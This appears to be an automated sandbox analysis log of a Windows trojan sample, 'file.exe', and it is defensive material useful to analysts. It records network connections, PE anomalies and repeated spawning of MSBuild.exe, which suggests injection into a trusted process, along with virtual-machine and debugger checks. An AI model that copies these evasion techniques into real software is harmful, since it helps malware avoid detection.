Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49713 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1FE0	0_2_003E1FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FD0ED	0_2_003FD0ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F547C	0_2_003F547C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003EC842	0_2_003EC842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FB888	0_2_003FB888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F39E2	0_2_003F39E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003EFC40	0_2_003EFC40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1D65	0_2_003E1D65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E6FEC	0_2_003E6FEC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003E78D0 appears 49 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .data ZLIB complexity 0.98994375

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/0@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\9GCBOTS4.htm

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0041C03D LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_0041C03D

Source: file.exe

Static PE information: real checksum: 0x8044d should be: 0x88ef6

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CBD2 pushfd ; iretd	0_2_0040CCF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E6EF4 push ecx; ret	0_2_003E6F07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00426F15 push ecx; ret	0_2_00426F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041B035 push ecx; ret	3_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004000F2 pushfd ; iretd	3_2_00400211

Source: C:\Users\user\Desktop\file.exe

API coverage: 8.8 %

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003F980F FindFirstFileExW,

0_2_003F980F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00401160 GetSystemInfo,

3_2_00401160

Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=xT
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003E7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_003E7672

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

3_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

3_2_0041C03D

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FA39E mov eax, dword ptr fs:[00000030h]	0_2_003FA39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F0C7E mov ecx, dword ptr fs:[00000030h]	0_2_003F0C7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1FE0 mov edi, dword ptr fs:[00000030h]	0_2_003E1FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00425630 mov eax, dword ptr fs:[00000030h]	0_2_00425630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00419750 mov eax, dword ptr fs:[00000030h]	3_2_00419750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003FC99D GetProcessHeap,

0_2_003FC99D

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

